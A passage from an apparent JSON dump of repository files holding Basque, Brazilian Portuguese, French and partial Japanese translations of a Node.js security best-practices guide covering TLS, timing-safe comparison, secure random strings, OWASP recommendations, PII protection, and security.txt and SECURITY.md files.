eraso kriptografikoen aurrean zaurgarria izan daditeke. Ausazko kate seguruak sortu behar dituzunean, erabili [`crypto.randomBytes(size, [callback])`](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback) funtzioa sistemak eskaintzen duen entropia baliatuz.\r\n\r\n**Bestela:** sasi ausazko kateak sortzen direnean kriptografikoki seguruak diren metodorik gabe, erasotzaileek sortutako emaitzak aurreikusi eta erreproduzi ditzakete, zure aplikazioa segurtasunik gabe geldituz.\r\n\r\n<br/><br/>\r\n\r\nJarraian, OWASP proiektuko hainbat gomendio garrantzitsu zerrendatu ditugu\r\n\r\n## ![✔] OWASP A2: hautsitako autentifikazioa\r\n\r\n- Eskatu MFA / 2FA zerbitzu eta kontu garrantzitsuetarako\r\n- Biratu pasahitzak eta atzitzeko gakoak maiz, SSH giltzak barne\r\n- Aplikatu pasahitz politika sendoak, bai operazioetarako, bai aplikazioko erabiltzaileen kudeaketarako ([🔗 OWASP pasahitz gomendioa](https://www.owasp.org/index.php/Authentication_Cheat_Sheet#Implement_Proper_Password_Strength_Controls.22))\r\n- Ez bidali edo zabaldu zure aplikazioa lehenespenezko kredentzialekin, batez ere administratzaile erabiltzaileentzat edo menpeko dituzun kanpoko zerbitzuentzat\r\n- Erabili OAuth, OpenID eta horiek bezalako autentifikazio metodo estandarrak, eta **saihestu** oinarrizko autentifikazioa\r\n- Mugatu autentifikazio saiakera kopurua: debekatu _X_ saio saiakera baino gehiago (pasahitza berreskuratzea barne, etab.) _Y_ aldian\r\n- Saioa hastean huts eginez gero, ez utzi erabiltzaileari jakiten erabiltzaile izenaren egiaztatzeak edo pasahitzaren egiaztatzeak huts egin zuen; autentifikazio errore arrunta itzuli besterik ez egin\r\n- Aztertu ez ote den komeni erabiltzea erabiltzaileen kudeaketarako sistema zentralizaturen bat langile bakoitzeko hainbat kontu kudeatu beharra ekiditeko (adibidez, GitHub, AWS, Jenkins, etab.) eta erabiltzaileen kudeaketarako sistema ezagun eta zailduren baten onurez baliatzeko.\r\n\r\n## ![✔] OWASP A5: sarbide kontrol hautsia\r\n\r\n- Errespetatu [pribilegio txikienaren printzipioa](https://en.wikipedia.org/wiki/Principle_of_least_privilege): DevOpseko osagai eta pertsona bakoitzak soilik izan behar du aukera beharrezko informazioa eta baliabideak eskuratzeko\r\n- **Inoiz** ez lan egin kontsola / root (pribilegio osoa) kontuarekin kontu kudeaketan izan ezik\r\n- Exekutatu instantzia / edukiontzi guztiak rol / zerbitzu kontu baten izenean\r\n- Esleitu baimenak taldeei eta ez erabiltzaileei. Horrek baimenen kudeaketa errazagoa eta gardenagoa izatea ahalbidetu beharko luke kasu gehienetan\r\n\r\n## ![✔] OWASP A6: segurtasun okerreko konfigurazioa\r\n\r\n- Barne sarea da bide bakarra ekoizpen inguruneko barne osagaietara iristeko; erabili SSH edo beste modu batzuk erabili, baina _inoiz_ agerian jarri gabe barne zerbitzuak\r\n- Mugatu barne sareko sarbidea: berariaz zehaztu zein baliabide sar daitekeen beste baliabide batzuetara (adibidez, sare politika edo azpisareak)\r\n- Cookieak erabiltzen badituzu, konfiguratu modu \"seguruan\", bidalketak SSL bidez bakarrik egiteko\r\n- Cookieak erabiltzen badituzu, konfiguratu \"gune bererako\" soilik; beraz domeinu bereko eskaerek soilik izendatutako cookieak itzuliko dituzte\r\n- Cookieak erabiltzen badituzu, aukeratu \"HttpOnly\" konfigurazioa, bezeroaren JavaScript kodea sartzea galarazten duena\r\n- Babestu VPC bakoitza sarbide arau zorrotz eta murriztaileekin\r\n- Lehenetsi mehatxuak STRIDE edo DREAD bezalako segurtasun mehatxu eredu estandarrak erabiliz\r\n- Babestu DDoS erasoen aurka HTTP (S) eta TCP karga orekatzaileak erabiliz\r\n- Erakunde espezializatuek aldizka sartzeko probak egin\r\n\r\n## ![✔] OWASP A3: bereziki babestutako datuen esposizioa\r\n\r\n- Onartu SSL / TLS konexioak soilik, eta ezarri Strict-Transport-Security goiburuak erabiliz\r\n- Bereizi sarea segmentutan (hau da, azpisareak) eta ziurtatu nodo bakoitzak sarbide baimenak dituela beharrezko gutxieneko sarerako\r\n- Multzokatu Interneteko sarbiderik behar ez duten zerbitzu / instantzia guztiak eta berariaz baztertu irteerako edozein konexio (azpisare pribatua, adibidez)\r\n- Gorde sekretu guztiak AWS KMS, HashiCorp Vault edo Google Cloud KMS bezalako segurtasun karpetak dituzten produktuetan\r\n- Blokeatu izaera sentikorreko metadatuak metadatuak erabiliz\r\n- Enkriptatu pasoko datuak ingurune fisiko batetik irteten direnean\r\n- Ez sartu sekretuak egunkarietako adierazpenetan\r\n- Saihestu frontendean pasahitz arruntak erakustea; hartu beharrezko neurriak backendean; eta ez gorde inoiz informazio sentikorrik testu soilean\r\n\r\n\r\n## ![✔] OWASP A9: segurtasun ahulezia ezagunak dituzten osagaien erabilera\r\n\r\n- Eskaneatu dockeren irudiak ahulezia ezagunak aurkitzeko (Dockeren eta beste hornitzaile batzuen eskaneatze zerbitzuak erabiliz)\r\n- Gaitu instantzia automatikoen (makina) adabakiak eta bertsio berritzea segurtasun adabakirik ez duten sistema eragileen bertsio zaharrak exekutatzea ekiditeko\r\n- Eman erabiltzaileari 'id', 'sarbidea' eta 'eguneratu'ren giltzak(tokenak), sarbide giltzak (tokenak) iraupen laburra izan dezan eta giltzarekin (tokenarekin) egunera dadin\r\n- Erregistratu eta ikuskatu APIaren dei guztiak hodei eta kudeaketa zerbitzuetara (adibidez, nork ezabatu zuen S3 ontzia?) AWS CloudTrail bezalako zerbitzuak erabiliz\r\n- Exekutatu zure hodei hornitzailearen segurtasun egiaztatzailea (adibidez, AWS segurtasun fidagarritasun aholkularia)\r\n\r\n\r\n## ![✔] OWASP A10: erregistro eta kontrol eznahikoak\r\n\r\n- Ohartarazi ikuskaritzako gertaera aipagarri edo susmagarriez: erabiltzaileen saioa hastea, erabiltzaile berriak sortzea, baimenen aldaketa, etab\r\n- Ohartarazi saioa hastean hutsegiteen kopuru irregularra dela (edo ahaztutako pasahitza bezalako ekintzak)\r\n- Sartu eguneratzeari hasiera eman dion denbora eta erabiltzaile izena DB erregistro bakoitzean\r\n\r\n## ![✔] OWASP A7: Cross-Site-Scripting (XSS)\r\n\r\n- Erabili diseinuaren bidez XSS-i automatikoki ihes egiten dioten txantiloien motorrak edo esparruak, hala nola EJS, Pug, React edo Angular. Ezagutu XSS babes mekanismo bakoitzaren mugak eta kudeatu estaltzen ez diren erabilera kasuak\r\n- HTML irteerako testuinguruaren arabera  fidagarriak ez diren HTTP eskaera datuak sahiestean (gorputza, atributua, JavaScript, CSS edo URLa) konpondu egingo dira islatu eta gordetako XSS ahuleziak\r\n- Testuinguruaren araberako kodeketa aplikatzeak DOM XSSren aurka egiten du arakatzailearen dokumentua aldatzean bezeroaren aldetik\r\n- Gaitu Edukien Segurtasun Politika (CSP) XSSren aurkako kontrola arintzeko defentsa sakon gisa\r\n\r\n## ![✔] Babestu pertsonalki identifikatu daitekeen informazioa (PII datuak)\r\n\r\n- Pertsonalki identifikatzeko informazioa (PII) pertsona zehatz bat identifikatzeko erabil daitekeen edozein datu da\r\n- Babestu aplikazioetan identifikatu daitekeen informazioa, enkriptatuz\r\n- Jarraitu tokian tokiko datuen pribatutasun legeak. Erreferentzia legeak:\r\n  - Europar Batasuna: GDPR - https://ec.europa.eu/info/law/law-topic/data-protection_en\r\n  - India: https://meity.gov.in/writereaddata/files/Personal_Data_Protection_Bill,2018.pdf\r\n  - Singapur: https://www.pdpc.gov.sg/Overview-of-PDPA/The-Legislation/Personal-Data-Protection-Act\r\n\r\n## ![✔] Izan security.txt fitxategia [PRODUKZIOA]\r\n\r\n**TL; DR:** izan ```security.txt``` izeneko testu fitxategia direktorio ```/.well-known``` azpian (/.well-known/security.txt) edo zure webgunearen edo ekoizpenean dagoen zure web aplikazioaren erro direktorioan (/security.txt). Segurtasun ikertzaileek atzemandako ahultasunen xehetasunak izan behar ditu ```security.txt``` fitxategiak, eta txostenak bidali behar zaizkion pertsona edo talde arduradunaren harremanetarako datuak ere jaso beharko ditu (posta elektronikoko IDa edo / eta telefono zenbakiak) .\r\n\r\n**Bestela:** baliteke ahulezien berri ez izatea. Galduko duzu ahuleziei garaiz eragiteko aukera.\r\n\r\n🔗 [**security.txt**](https://securitytxt.org/)\r\n<br/><br/><br/>\r\n\r\n## ![✔] Izan SECURITY.md fitxategia [ITURRI IREKIA]\r\n\r\n**TL; DR:** zure proiektuaren segurtasun ahulezien berri modu arduratsuan eman nahi badiozu jendeari jarraibideak zehazte aldera,  SECURITY.md fitxategia gehi dezakezu zure biltegiko erroan, dokumentuetan edo .github karpetan. SECURITY.md fitxategiak informazio egokia eduki behar du segurtasun ikertzaileek proiektuaren ahuleziak atzeman eta txostenak bidali behar zaizkion pertsona / talde arduradunaren  harremanetarako datuak (posta elektronikoko IDa edo / eta telefono zenbakiak) jaso ahal ditzaten\r\n\r\n**Bestela:** baliteke ahulezien berri ez izatea. Ahulezien gainean garaiz jarduteko aukera galduko duzu.\r\n\r\n🔗 [**Informazio gehiago: SECURITY.md**](https://help.github.com/en/github/managing-security-vulnerabilities/adding-a-security-policy-to-your-repository)\r\n\r\n<br/><br/><br/>\r\n\r\n\r\n<br/><br/><br/>\r\n"
  },
  {
    "path": "sections/security/commonsecuritybestpractices.brazilian-portuguese.md",
    "content": "[✔]: ../../assets/images/checkbox-small-blue.png\r\n\r\n# Coleção genérica de boas práticas de segurança\r\n\r\nA seção de boas práticas comuns de segurança contém as práticas recomendadas que são padronizadas em muitos frameworks e convenções. Por exemplo, a execução de um aplicativo com SSL/TLS deve ser uma diretriz e uma convenção comuns em todas as configurações para obter grandes benefícios de segurança.\r\n\r\n## ![✔] Use SSL/TLS para criptografar a conexão cliente-servidor\r\n\r\n**TL;DR:** Nos tempode de [certificados SSL/TLS gratuitos](https://letsencrypt.org/) e fácil configuração desses, você não precisa mais pesar vantagens e desvantagens de usar um servidor seguro porque as vantagens como segurança, suporte à tecnologia moderna e confiança superam claramente as desvantagens, como sobrecarga mínima em comparação com o HTTP puro.\r\n\r\n**Caso contrário:** invasores podem executar ataques man-in-the-middle, espionar o comportamento de seus usuários e executar ações ainda mais maliciosas quando a conexão não é criptografada.\r\n\r\n🔗 [**Leia Mais: Executando um servidor Node.js seguro**](./secureserver.brazilian-portuguese.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] Comparando valores secretos e hashes com segurança\r\n\r\n**TL;DR:** Ao comparar valores secretos ou hashes como digestões do HMAC, você deve usar a função  [`crypto.timingSafeEqual(a, b)`](https://nodejs.org/dist/latest-v9.x/docs/api/crypto.html#crypto_crypto_timingsafeequal_a_b) que o Node fornece por padrão desde o Node.js v6.6.0. Este método compara dois objetos e continua comparando, mesmo que os dados não correspondam. Os métodos de comparação de igualdade padrão simplesmente retornariam após uma incompatibilidade de caracteres, permitindo ataques de tempo com base no comprimento da operação.\r\n\r\n**Caso contrário:** Usando operadores de comparação de igualdade padrão, você pode expor informações críticas com base no tempo gasto para comparar dois objetos.\r\n\r\n<br/><br/>\r\n\r\n## ![✔] Gerando strings aleatórias usando Node.js\r\n\r\n**TL;DR:** Usar uma função personalizada que gera sequências pseudo-aleatórias para tokens e outros casos de uso sensíveis à segurança pode não ser tão aleatório quanto você pensa, tornando seu aplicativo vulnerável a ataques criptográficos. Quando você precisar gerar strings aleatórias seguras, use a função [`crypto.randomBytes(size, [callback])`](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback) usando a entropia disponível fornecida pelo sistema.\r\n\r\n**Caso contrário:** Ao gerar strings pseudo-aleatórias sem métodos criptograficamente seguros, os invasores podem prever e reproduzir os resultados gerados, tornando seu aplicativo inseguro.\r\n\r\n<br/><br/>\r\n\r\nEm seguida, abaixo, listamos alguns conselhos importantes do projeto OWASP.\r\n\r\n## ![✔] OWASP A2: Autenticação Quebrada\r\n\r\n- Requisite MFA/2FA (autenticação de múltiplos fatores) para serviços e contas importantes\r\n- Troque senhas e chaves de acesso com freqüência, incluindo chaves SSH\r\n- Aplique diretivas de senha forte, tanto para operadores quanto para gerenciamento de usuários no aplicativo ([🔗 OWASP recomendações para senhas](https://www.owasp.org/index.php/Authentication_Cheat_Sheet#Implement_Proper_Password_Strength_Controls.22))\r\n- Não envie ou implemente sua aplicação com nenhuma credencial padrão, principalmente para usuários administradores ou serviços externos dos quais você depende\r\n- Use apenas métodos de autenticação padrão, como OAuth, OpenID, etc. - **evite** autenticação básica\r\n- Limitação da taxa de autenticação: Não permitir mais de _X_ tentativas de login (incluindo recuperação de senha, etc.) em um período _Y_\r\n- Na falha de login, não deixe o usuário saber se a verificação de nome de usuário ou senha falhou, apenas retorne um erro de autenticação comum\r\n- Considere o uso de um sistema centralizado de gerenciamento de usuários para evitar o gerenciamento de várias contas por funcionário (por exemplo, GitHub, AWS, Jenkins, etc) e para se beneficiar de um sistema de gerenciamento de usuários testado em batalha.\r\n\r\n## ![✔] OWASP A5:  Controle de acesso quebrado\r\n\r\n- Respeite o [princípio do menor privilégio](https://en.wikipedia.org/wiki/Principle_of_least_privilege)  -  cada componente e DevOps deve ter acesso apenas às informações e recursos necessários\r\n- **Nunca** trabalhar com a conta console/root (privilégio completo), exceto para gerenciamento de contas\r\n- Executar todas as instâncias/contêineres com uma conta de função/serviço\r\n- Atribuir permissões a grupos e não a usuários. Isso deve tornar o gerenciamento de permissões mais fácil e transparente para a maioria dos casos\r\n\r\n## ![✔] OWASP A6: Configurações de Segurança\r\n\r\n- O acesso ao interior do ambiente de produção é feito somente através da rede interna, use SSH ou outras formas, mas _nunca_ exponha serviços internos\r\n- Restringir o acesso à rede interna - defina explicitamente qual recurso pode acessar outros recursos (por exemplo, política de rede ou sub-redes)\r\n- Se estiver usando cookies, configure-o para o modo \"seguro\", no qual ele está sendo enviado apenas por SSL\r\n- Se estiver usando cookies, configure-o apenas para \"mesmo site\", para que apenas solicitações do mesmo domínio recebam os cookies designados\r\n- Se estiver usando cookies, prefira a configuração \"HttpOnly\" que impede que o código JavaScript do lado do cliente acesse os cookies\r\n- Proteja cada VPC com regras de acesso restritas e restritivas\r\n- Priorize ameaças usando qualquer modelagem padrão de ameaça à segurança como STRIDE ou DREAD\r\n- Protege contra ataques DDoS usando balanceadores de carga HTTP(S) e TCP\r\n- Realize testes periódicos de penetração por agências especializadas\r\n\r\n## ![✔] OWASP A3: Exposição de dados sensíveis\r\n\r\n- Aceite apenas conexões SSL/TLS, imponha Strict-Transport-Security usando cabeçalhos\r\n- Separe a rede em segmentos (ou seja, sub-redes) e garanta que cada nó tenha o mínimo necessário de permissões de acesso de rede\r\n- Agrupar todos os serviços/instâncias que não precisam de acesso à Internet e explicitamente desautorizar qualquer conexão de saída (também uma sub-rede privada)\r\n- Armazene todos os segredos em serviços de cofre, como o AWS KMS, o HashiCorp Vault ou o Google Cloud KMS\r\n- Bloqueie instâncias de metadados confidenciais usando metadados\r\n- Criptografe dados em trânsito quando deixa um limite físico\r\n- Não inclua segredos em instruções de log\r\n- Evite mostrar senhas simples no frontend, tome as medidas necessárias no backend e nunca armazene informações confidenciais em texto simples\r\n\r\n## ![✔] OWASP A9: Usando componentes com vulnerabilidades de segurança conhecidas\r\n\r\n- Digitalize imagens do docker para vulnerabilidades conhecidas (usando o Docker e outros fornecedores oferecem serviços de digitalização)\r\n- Ativar atualizações e patches automáticos de instâncias (máquinas) para evitar a execução de versões antigas do sistema operacional que não possuem patches de segurança\r\n- Forneça ao usuário os tokens 'id', 'access' e 'refresh' para que o token de acesso seja de curta duração e renovado com o token de atualização\r\n- Registrar e auditar cada chamada de API para serviços de nuvem e gerenciamento (por exemplo, quem excluiu o bucket do S3?) Usando serviços como o AWS CloudTrail\r\n- Execute o verificador de segurança do seu provedor de nuvem (por exemplo, consultor de confiança de segurança da AWS)\r\n\r\n\r\n## ![✔] OWASP A10: Registro e monitoramento insuficientes\r\n\r\n- Alerte em eventos de auditoria notáveis ​​ou suspeitos, como login de usuário, criação de novo usuário, alteração de permissão, etc.\r\n- Alerte sobre quantidade irregular de falhas de login (ou ações equivalentes como senha esquecida)\r\n- Inclua o horário e o nome de usuário que iniciaram a atualização em cada registro de banco de dados\r\n\r\n## ![✔] OWASP A7: Cross-Site-Scripting (XSS)\r\n\r\n- Use mecanismos de template ou frameworks que escapem automaticamente do XSS por design, como EJS, Pug, React ou Angular. Aprenda as limitações de cada mecanismo de proteção XSS e lidar adequadamente com os casos de uso que não são cobertos\r\n- O escape de dados de solicitação HTTP não confiáveis ​​com base no contexto na saída HTML (corpo, atributo, JavaScript, CSS ou URL) resolverá as vulnerabilidades de XSS refletido e armazenado\r\n- Aplicar codificação sensível ao contexto quando modificar o documento do navegador no lado do cliente atua em relação ao DOM XSS\r\n- Ativar uma Política de Segurança de Conteúdo (CSP) como um controle de mitigação de defesa em profundidade contra o XSS\r\n\r\n\r\n<br/><br/><br/>\r\n"
  },
  {
    "path": "sections/security/commonsecuritybestpractices.french.md",
    "content": "[✔]: ../../assets/images/checkbox-small-blue.png\n\n# Meilleures pratiques de sécurité communes avec Node.js\n\nLa section des directives de sécurité communes contient les meilleures pratiques qui sont normalisées dans de nombreux frameworks et conventions. L'utilisation d'une application avec SSL/TLS, par exemple, devrait être une directive et une convention commune suivie dans chaque configuration pour obtenir des grands avantages en matière de sécurité.\n\n## ![✔] Utilisez SSL/TLS pour crypter la connexion client-serveur\n\n**TL;PL :** À l'heure des [certificats SSL/TLS gratuits](https://letsencrypt.org/) et de la facilité de leur configuration, vous n'avez plus à peser les avantages et les inconvénients de l'utilisation d'un serveur sécurisé car les avantages tels que la sécurité, le support de la technologie moderne et de la confiance l'emportent clairement sur les inconvénients tels que la surcharge minimale par rapport au HTTP pur.\n\n**Autrement :** Les attaquants peuvent effectuer des attaques de type \"attaque de l'homme du milieu\", espionner le comportement de vos utilisateurs et effectuer des actions encore plus malveillantes lorsque la connexion n'est pas cryptée.\n\n🔗 [**Plus d'infos : exécution d'un serveur Node.js sécurisé**](./secureserver.french.md)\n\n<br/><br/>\n\n## ![✔] Comparez les valeurs secrètes et les hachages en toute sécurité\n\n**TL;PL :** Lorsque vous comparez des valeurs secrètes ou des hachages comme les digests HMAC, vous devez utiliser la fonction [`crypto.timingSafeEqual(a, b)`](https://nodejs.org/dist/latest-v9.x/docs/api/crypto.html#crypto_crypto_timingsafeequal_a_b) que Node fournit dès la version 6.6.0 de Node.js. Cette méthode compare deux objets donnés et continue de comparer même si les données ne correspondent pas. Les méthodes de comparaison d'égalité par défaut s'arrêteraient simplement après une discordance de caractères, permettant de chronométrer les attaques basées sur la longueur de l'opération.\n\n**Autrement :** En utilisant les opérateurs de comparaison d'égalité par défaut, vous pourriez exposer des informations critiques basées sur le temps nécessaire pour comparer deux objets.\n\n<br/><br/>\n\n## ![✔] Génération de chaînes aléatoires à l'aide de Node.js\n\n**TL;PL :** L'utilisation d'une fonction personnalisée générant des chaînes pseudo-aléatoires pour les jetons et autres cas d'utilisation sensibles à la sécurité pourrait en fait ne pas être aussi aléatoire que vous le pensez, rendant votre application vulnérable aux attaques cryptographiques. Lorsque vous devez générer des chaînes aléatoires sécurisées, utilisez la fonction [`crypto.randomBytes(size, [callback])`](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback) en utilisant l'entropie disponible fournie par le système.\n\n**Autrement :** Lors de la génération de chaînes pseudo-aléatoires sans recourir à des méthodes cryptographiques sûres, les pirates peuvent prévoir et reproduire les résultats générés, ce qui rend votre application peu sûre.\n\n<br/><br/>\n\nNous avons énuméré ci-dessous quelques conseils importants tirés du projet OWASP.\n\n## ![✔] OWASP A2 : Authentification frauduleuse\n\n- Exigez MFA/2FA pour les services et comptes importants\n- Changez fréquemment les mots de passe et les clés d'accès, y compris les clés SSH\n- Appliquez des politiques strictes en matière de mots de passe, tant pour l'exploitation que pour la gestion des utilisateurs dans l'application ([🔗 OWASP recommandation sur le mot de passe](https://www.owasp.org/index.php/Authentication_Cheat_Sheet#Implement_Proper_Password_Strength_Controls.22))\n- N'envoyez ou ne déployez pas votre application avec des identifiants par défaut, en particulier pour les utilisateurs de l'administration ou les services externes dont vous dépendez\n- Utilisez uniquement des méthodes d'authentification standard comme OAuth, OpenID, etc, **évitez** l'authentification de base\n- Limitez le taux d'authentification : interdisez plus de _X_ tentatives de connexion (y compris la récupération du mot de passe, etc.) pendant une période _Y_.\n- En cas d'échec de la connexion, n'indiquez pas à l'utilisateur si la vérification du nom d'utilisateur ou du mot de passe a échoué, mais renvoyez simplement une erreur d'authentification ordinaire.\n- Envisagez d'utiliser un système de gestion des utilisateurs centralisé pour éviter de gérer plusieurs comptes par employé (par exemple GitHub, AWS, Jenkins, etc.) et pour bénéficier d'un système de gestion des utilisateurs éprouvé\n\n## ![✔] OWASP A5 : Contrôle d'accès défectueux\n\n- Respectez le [principe de moindre privilège](https://fr.wikipedia.org/wiki/Principe_de_moindre_privil%C3%A8ge)  -  chaque composant et chaque personne du DevOps ne doit avoir accès qu'aux informations et ressources nécessaires\n- **Ne travaillez jamais** avec le compte console/root (privilège total) sauf pour la gestion de compte\n- Exécutez toutes les instances/conteneurs sous le nom d'un compte de rôle/service\n- Attribuez des autorisations à des groupes et non à des utilisateurs. Cela devrait rendre la gestion des permissions plus facile et plus transparente dans la plupart des cas\n\n## ![✔] OWASP A6 : Mauvaise configuration de la sécurité\n\n- L'accès à l'environnement interne de production se fait uniquement par le réseau interne, en utilisant SSH ou d'autres moyens, mais _n'exposez jamais_ les services internes\n- Restreignez l'accès au réseau interne - définissez explicitement quelle ressource peut accéder à quelles autres ressources (par exemple, la politique du réseau ou des sous-réseaux)\n- Si vous utilisez des cookies, configurez-les en mode « sécurisés » afin qu'ils soient envoyés uniquement via SSL\n- Si vous utilisez des cookies, configurez-les uniquement pour un « même site » afin que seules les requêtes provenant d'un même domaine puissent récupérer les cookies indiqués.\n- Si vous utilisez des cookies, préférez une configuration « HttpOnly » qui empêche le code JavaScript côté client d'accéder aux cookies\n- Protégez chaque VPC par des règles d'accès strictes et restrictives\n- Priorisez les menaces en utilisant n'importe quel modèle standard de menace de sécurité comme STRIDE ou DREAD\n- Protégez-vous contre les attaques DDoS à l'aide d'équilibreurs de charge HTTP(S) et TCP\n- Effectuez des tests de pénétration périodiques par des agences spécialisées\n\n## ![✔] OWASP A3 : Exposition des données sensibles\n\n- N'acceptez que les connexions SSL/TLS, appliquez Strict-Transport-Security en utilisant les entêtes\n- Séparez le réseau en segments (c'est-à-dire sous-réseaux) et assurez-vous que chaque nœud dispose uniquement des autorisations d'accès nécessaires au réseau\n- Regroupez tous les services/instances qui n'ont pas besoin d'accès à internet et interdisez explicitement toute connexion sortante (un sous-réseau privé)\n- Stockez tous les secrets dans un coffre-fort, des produits comme AWS KMS, HashiCorp Vault ou Google Cloud KMS\n- Verrouillez les métadonnées d'instance sensibles à l'aide de métadonnées\n- Cryptez les données en transit lorsqu'elles quittent une frontière physique\n- N'incluez pas de secrets dans les instructions de journal\n- Évitez d'afficher des mots de passe en clair dans le frontend, prenez les mesures nécessaires dans le backend et ne stockez jamais d'informations sensibles en clair\n\n## ![✔] OWASP A9 : Utilisation de composants avec des vulnérabilités de sécurité connues\n\n- Analysez les images des dockers à la recherche de vulnérabilités connues (en utilisant les services d'analyse de Docker et d'autres fournisseurs)\n- Activez les correctifs et les mises à jour automatiques des instances (machines) pour éviter d'utiliser des versions de systèmes d'exploitation anciennes qui ne disposent pas de correctifs de sécurité\n- Fournissez à l'utilisateur les jetons « id », « access » et « refresh » afin que le jeton d'accès soit de courte durée et renouvelé avec le jeton « refresh »\n- Enregistrez et auditerz chaque appel d'API vers les services de gestion et de cloud (par exemple, qui a supprimé le compartiment S3 ?) en utilisant des services comme AWS CloudTrail\n- Exécutez le contrôle de sécurité de votre fournisseur de services en ligne (par exemple, le conseiller en sécurité de AWS)\n\n\n## ![✔] OWASP A10 : Journalisation et surveillance insuffisantes\n\n- Alertez sur les événements d'audit significatifs ou suspects tels que la connexion d'un utilisateur, la création d'un nouvel utilisateur, le changement d'autorisation, etc.\n- Alertez sur le nombre irrégulier d'échecs de connexion (ou actions équivalentes comme l'oubli du mot de passe)\n- Indiquez l'heure et le nom de l'utilisateur qui a initié la mise à jour dans chaque enregistrement de la base de données\n\n## ![✔] OWASP A7 : Cross-Site-Scripting (XSS)\n\n- Utilisez des moteurs ou des frameworks de template qui échappent automatiquement le XSS par leur conception, comme EJS, Pug, React ou Angular. Apprenez les limites de chaque mécanisme de protection XSS et traiter de manière appropriée les cas d'utilisation qui ne sont pas couverts\n- Échappez les données de requête HTTP non fiables en fonction du contexte dans la sortie HTML (corps, attribut, JavaScript, CSS ou URL) résoudra les vulnérabilités XSS reflétées et stockées\n- L'application d'un encodage contextuel lors de la modification du document du navigateur côté client agit contre DOM XSS\n- Permettez une politique de sécurité des contenus (CSP) comme défense en profondeur pour atténuer le contrôle contre les XSS\n\n## ![✔] Protégez les informations personnelles identifiables (données PII)\n\n- Les informations personnelles identifiables (PII : Personally identifiable information) sont toutes les données qui peuvent être utilisées pour identifier une personne spécifique\n- Protégez les informations personnelles identifiables dans les applications en les cryptant\n- Respectez les lois du pays en matière de protection des données. Lois de référence :\n  - Union européenne : RGPD - https://ec.europa.eu/info/law/law-topic/data-protection_fr\n  - Inde : https://meity.gov.in/writereaddata/files/Personal_Data_Protection_Bill,2018.pdf\n  - Singapour : https://www.pdpc.gov.sg/Overview-of-PDPA/The-Legislation/Personal-Data-Protection-Act\n\n## ![✔] Avoir un fichier security.txt [PRODUCTION]\n\n**TL;PL :** Ayez un fichier texte appelé ```security.txt``` sous le répertoire ```/.well-known``` (/.well-known/security.txt) ou dans le répertoire racine (/security.txt) de votre site web ou de votre application web en production. Le fichier ```security.txt``` doit contenir les détails permettant aux chercheurs en sécurité de signaler des vulnérabilités, ainsi que les coordonnées de la personne/du groupe responsable (adresse électronique et/ou numéros de téléphone) à qui les rapports doivent être envoyés.\n\n**Autrement :** Il se peut que vous ne soyez pas informé des vulnérabilités. Vous manquerez l'occasion d'agir à temps sur les vulnérabilités.\n\n🔗 [**Plus d'infos : security.txt**](https://securitytxt.org/)\n<br/><br/><br/>\n\n## ![✔] Avoir un fichier SECURITY.md [OPEN SOURCE]\n\n**TL;PL :** Pour donner aux gens des instructions pour signaler de manière responsable les vulnérabilités de sécurité dans votre projet, vous pouvez ajouter un fichier SECURITY.md file à la racine de votre dépôt, dans le dossier docs ou .github. Le fichier SECURITY.md doit contenir les détails permettant aux chercheurs en sécurité de signaler les vulnérabilités, ainsi que les coordonnées de la personne/du groupe responsable (adresse électronique et/ou numéros de téléphone) à qui les rapports doivent être envoyés.\n\n**Autrement :** Il se peut que vous ne soyez pas informé des vulnérabilités. Vous manquerez l'occasion d'agir à temps sur les vulnérabilités.\n\n🔗 [**Plus d'infos : SECURITY.md**](https://help.github.com/en/github/managing-security-vulnerabilities/adding-a-security-policy-to-your-repository)\n\n<br/><br/><br/>\n\n\n<br/><br/><br/>\n"
  },
  {
    "path": "sections/security/commonsecuritybestpractices.japanese.md",
    "content": "[✔]: ../../assets/images/checkbox-small-blue.png\r\n\r\n# 一般的な Node.js セキュリティベストプラクティス\r\n\r\nこの一般的なセキュリティガイドラインのセクションには、多くのフレームワークや慣習において標準となっているベストプラクティスが含まれています。例えば、SSL/TLS を使用してアプリケーションを実行するということは、優れたセキュリティ上の利点を享受するためにあらゆる環境において従われる、よくあるガイドラインや慣習です。\r\n\r\n## ![✔] クライアント／サーバー間の通信を暗号化するために SSL/TLS を使用する\r\n\r\n**TL;DR:** [無料の SSL/TLS 証明書](https://letsencrypt.org/) が提供されそれらが簡単に設定できる時代には、セキュアなサーバーを使用することの利点と欠点を比較する必要はもはやありません。なぜなら、セキュリティやモダンなテクノロジーのサポート、そして信頼性といった利点は、明らかにHTTPと比べてオーバーヘッドが大きいといったような欠点を上回るためです。\r\n\r\n**さもないと:** 接続が暗号化されていない場合には、攻撃者は中間者攻撃を行い、ユーザーの行動を監視し、さらに悪質なアクションを行ってくる可能性があります。\r\n\r\n🔗 [**さらに読む: セキュアな Node.js サーバーを実行する**](./secureserver.japanese.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] シークレット値とハッシュ値をセキュアに比較する\r\n\r\n**TL;DR:** シークレット値や HMAC ダイジェストのようなハッシュを比較する場合は、Node.js v6.6.0 以降に Node が提供している [`crypto.timingSafeEqual(a, b)`](https://nodejs.org/dist/latest-v9.x/docs/api/crypto.html#crypto_crypto_timingsafeequal_a_b) 関数を使用するべきです。このメソッドは 2 つの与えられたオブジェクトを比較し、データが一致しない場合でも比較を続けます。デフォルトの等値比較メソッドは、文字の不一致だった場合には単純にリターンするだけなので、操作の長さに基づいたタイミング攻撃を可能にします。\r\n\r\n**さもないと:** デフォルトの等値比較演算子を使用すると、2 つのオブジェクトを比較するのにかかった時間に基づいて、重要な情報を漏出してしまうかもしれません。\r\n\r\n<br/><br/>\r\n\r\n## ![✔] Node.js を用いてランダムな文字列を生成する\r\n\r\n**TL;DR:** トークンやその他のセキュリティ上重要なユースケースを対象として、擬似ランダム文字列を生成する独自のカスタムビルド関数を使用すると、実際には思ったほどランダムではなく、アプリケーションが暗号攻撃に対して脆弱になる可能性があります。安全なランダム文字列を生成する必要がある場合は、システムが提供するエントロピーを用いた [`crypto.RandomBytes(size, [callback])`](https://nodejs.org/dist/latest-v9.x/docs/api/crypto.html#crypto_crypto_randombytes_size_callback) 関数を使用してください。\r\n\r\n**さもないと:** 